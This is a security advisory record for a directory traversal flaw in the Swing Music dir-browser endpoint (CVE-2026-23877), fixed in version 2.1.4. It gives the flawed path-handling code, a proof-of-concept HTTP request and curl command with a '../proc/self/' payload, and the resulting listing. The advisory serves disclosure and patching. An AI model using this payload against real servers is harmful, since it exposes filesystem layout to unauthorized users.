{"id":"PYSEC-2026-1947","summary":"Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user","details":"### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures","aliases":["CVE-2026-23877","GHSA-pj88-9xww-gxmh"],"modified":"2026-07-07T17:48:12.605060447Z","published":"2026-07-07T16:03:19.235266Z","references":[{"type":"WEB","url":"https://github.com/swingmx/swingmusic/security/advisories/GHSA-pj88-9xww-gxmh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23877"},{"type":"WEB","url":"https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3"},{"type":"PACKAGE","url":"https://github.com/swingmx/swingmusic"},{"type":"PACKAGE","url":"https://pypi.org/project/swingmusic"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pj88-9xww-gxmh"}],"affected":[{"package":{"name":"swingmusic","ecosystem":"PyPI","purl":"pkg:pypi/swingmusic"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["2.0.11","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/swingmusic/PYSEC-2026-1947.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}]}